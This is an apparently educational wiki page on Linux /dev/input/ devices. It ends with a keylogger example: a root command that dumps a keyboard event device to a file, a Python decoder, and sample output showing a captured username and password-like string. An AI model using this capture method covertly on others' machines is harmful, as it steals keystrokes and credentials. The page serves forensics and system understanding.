Dev-input

From aldeid
Jump to navigation Jump to search

What is inside /dev/input/

If you ever wondered what is inside /dev/input/ of your Linux box, you're likely to learn something here.

$ ls /dev/input/
by-id    event1   event12  event15  event18  event20  event23  event3  event6  event9  mouse1
by-path  event10  event13  event16  event19  event21  event24  event4  event7  mice    mouse2
event0   event11  event14  event17  event2   event22  event25  event5  event8  mouse0

You'll notice that this can be broken down into:

  • by-id, by-path: hardware / input file input
  • event(n): keyboard and USB events
  • mice, mouse(n): mouse events

How to know what file to read?

To know what file inside the /dev/input/ directory to read, you can refer to /proc/bus/input/devices:

$ cat /proc/bus/input/devices 
I: Bus=0019 Vendor=0000 Product=0005 Version=0000
N: Name="Lid Switch"
P: Phys=PNP0C0D/button/input0
S: Sysfs=/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0D:00/input/input0
U: Uniq=
H: Handlers=event0 
B: PROP=0
B: EV=21
B: SW=1

I: Bus=0019 Vendor=0000 Product=0003 Version=0000
N: Name="Sleep Button"
P: Phys=PNP0C0E/button/input0
S: Sysfs=/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0E:00/input/input1
U: Uniq=
H: Handlers=kbd event1 
B: PROP=0
B: EV=3
B: KEY=4000 0 0

I: Bus=0019 Vendor=0000 Product=0001 Version=0000
N: Name="Power Button"
P: Phys=LNXPWRBN/button/input0
S: Sysfs=/devices/LNXSYSTM:00/LNXPWRBN:00/input/input2
U: Uniq=
H: Handlers=kbd event2 
B: PROP=0
B: EV=3
B: KEY=10000000000000 0

[SNIP]

Example: keylogger

Logging

Let's take a concrete example. One could easily develop a keylogger as follows:

$ sudo cat /dev/input/event0 > /tmp/keylogger.log

Decrypting the log file

Here is what our log file looks like:

$ xxd keylogger.log | head
00000000: a1ee 705e 0000 0000 0c2a 0c00 0000 0000  ..p^.....*......
00000010: 0400 0400 1c00 0000 a1ee 705e 0000 0000  ..........p^....
00000020: 0c2a 0c00 0000 0000 0100 1c00 0000 0000  .*..............
00000030: a1ee 705e 0000 0000 0c2a 0c00 0000 0000  ..p^.....*......
00000040: 0000 0000 0000 0000 a3ee 705e 0000 0000  ..........p^....
00000050: 5b02 0700 0000 0000 0400 0400 3800 0000  [...........8...
00000060: a3ee 705e 0000 0000 5b02 0700 0000 0000  ..p^....[.......
00000070: 0100 3800 0100 0000 a3ee 705e 0000 0000  ..8.......p^....
00000080: 5b02 0700 0000 0000 0000 0000 0000 0000  [...............
00000090: a3ee 705e 0000 0000 773e 0800 0000 0000  ..p^....w>......

The format for the input stream is as follows:

struct input_event {
	struct timeval time;
	unsigned short type;
	unsigned short code;
	unsigned int value;
};

Using this structure, we can write the following python script:

#!/usr/bin/python3
import struct

# Mapping FR
mapping = {16:'a', 17:'z', 18:'e', 19:'r', 20:'t', 21:'y', 22:'u', 23:'i', 24:'o', 25:'p', 30:'q', 31:'s', 32:'d',
        33:'f', 34:'g', 35:'h', 36:'j', 37:'k', 38:'l', 39:'m', 44:'w', 45:'x', 46:'c', 47:'v', 48:'b', 49:'n',
        2:'&', 3:'é', 4:'"', 5:'\'', 6:'(', 7:'-', 8:'è', 9:'_', 10:'ç', 11:'à', 12:')', 13:'=', 27:'$', 40:'ù',
        43:'*', 50:',', 51:';', 52:':', 53:'!', 35:'h', 28:'\n', 42:'<SHIFT>', 54:'<SHIFT>', 29:'<CTRL>',
        56:'<ALT>', 100:'<AltGr>', 97:'<CTRL>', 82:'0', 79:'1', 80:'2', 81:'3', 75:'4', 76:'5', 77:'6', 71:'7',
        72:'8', 73:'9', 57:' ', 86:'<', 14:'<BACKSPACE>', 15:'    ', 59:'<F1>', 60:'<F2>', 61:'<F3>', 62:'<F4>',
        63:'<F5>', 64:'<F6>', 65:'<F7>', 66:'<F8>', 67:'<F9>', 74:'-', 83:'.', 96:'\n<ENTER>', 26:'^', 1:'<ESC>',
        78:'+', 103:'<UP>'}

FORMAT = 'llHHI'
EVENT_SIZE = struct.calcsize(FORMAT)

print("============== RAW ===============")
output = []
with open("keylogger.log", "rb") as f:
    event = f.read(EVENT_SIZE)
    while event:
        (tv_sec, tv_usec, type, code, value) = struct.unpack(FORMAT, event)
        k = ""
        if type == 1 and value != 0:
            output.append(mapping[code])
            k = mapping[code]
        print ("%s\t%s\t%s\t%s\t%s\t%s" % (tv_sec, tv_usec, type, code, value, k))

        event = f.read(EVENT_SIZE)

print("=============== DECODED ==============")
out = ''.join(output)
print(out)

Here is the output:

$ ./keys.py 
============== RAW ===============
1584459425	797196	4	4	28	
1584459425	797196	1	28	0	
1584459425	797196	0	0	0	
1584459427	459355	4	4	56	
1584459427	459355	1	56	1	<ALT>
1584459427	459355	0	0	0	
1584459427	540279	4	4	15	
1584459427	540279	1	15	1	    
1584459427	540279	0	0	0	
1584459427	627625	4	4	15	
1584459427	627625	1	15	0	
1584459427	627625	0	0	0	
1584459428	688924	4	4	15	
1584459428	688924	1	15	1	    
1584459428	688924	0	0	0	
1584459428	767359	4	4	15	
1584459428	767359	1	15	0	
1584459428	767359	0	0	0	
1584459429	549153	4	4	56	
1584459429	549153	1	56	0	
1584459429	549153	0	0	0	
1584459431	507948	4	4	35	
1584459431	507948	1	35	1	h
1584459431	507948	0	0	0	
1584459431	577458	4	4	35	
1584459431	577458	1	35	0	
1584459431	577458	0	0	0	
1584459431	941140	4	4	20	
1584459431	941140	1	20	1	t
1584459431	941140	0	0	0	
1584459432	10718	4	4	20	
1584459432	10718	1	20	0	
1584459432	10718	0	0	0	
1584459432	428576	4	4	20	
1584459432	428576	1	20	1	t
1584459432	428576	0	0	0	
1584459432	507020	4	4	20	
1584459432	507020	1	20	0	
1584459432	507020	0	0	0	
1584459432	935793	4	4	25	
1584459432	935793	1	25	1	p
1584459432	935793	0	0	0	
1584459433	14337	4	4	25	
1584459433	14337	1	25	0	
1584459433	14337	0	0	0	
1584459433	377982	4	4	52	
1584459433	377982	1	52	1	:
1584459433	377982	0	0	0	
[SNIP]
1584459456	588435	1	29	1	<CTRL>
1584459456	588435	0	0	0	
1584459456	722988	4	4	46	
1584459456	722988	1	46	1	c
1584459456	722988	0	0	0	
=============== DECODED ==============
<ALT>        http:<SHIFT><SHIFT>::192.168.122.126
kali
azert<AltGr>"123!
<ALT>    <CTRL>c

Of course, it will require an extra effort to convert all the special characters, but you have the general understanding.

Comments

Keywords: forensics drivers linux dev input event evdev keylogger